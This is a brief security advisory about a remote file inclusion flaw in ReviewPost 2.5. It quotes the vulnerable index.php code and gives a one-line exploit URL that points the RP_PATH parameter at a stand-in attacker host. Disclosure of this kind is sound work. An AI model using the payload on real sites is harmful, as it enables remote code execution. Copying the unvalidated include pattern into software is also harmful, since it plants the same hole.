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ReviewPost File Inclusion (RP_PATH)
------------------------------------------------------------------------
SUMMARY
Input passed to ReviewPost's "RP_PATH" is not properly verified before
being used to include files. This can be exploited to execute arbitrary
PHP code by including files from local or external resources.
DETAILS
Vulnerable Systems:
* ReviewPost version 2.5
Vulnerable code from index.php:
<?php
require "pp-inc.php";
if ( is_numeric($argv[0]) ) {
header("Location:
{$Globals['maindir']}/showproduct.php?product={$argv[0]}");
exit;
}
require "$RP_PATH/languages/$rplang/index.php";
require "$RP_PATH/login-inc.php";
if ( file_exists("install.php") ||
file_exists("{$Globals['maindir']}/install.php") ) {
diewell( "For security reasons, please remove the install.php from the
ReviewPost directory before proceeding." );
exit;
}
?>
Exploit:
The following URL can be used to trigger the vulnerability:
http://somehost/path_to_ReviewPost/index.php?RP_PATH=http://evil
ADDITIONAL INFORMATION
The information has been provided by <mailto:bius@mac.com> bius.
The original article can be found at:
<http://www.nyubicrew.org/adv/home_edition2001-adv-01.txt>
http://www.nyubicrew.org/adv/home_edition2001-adv-01.txt
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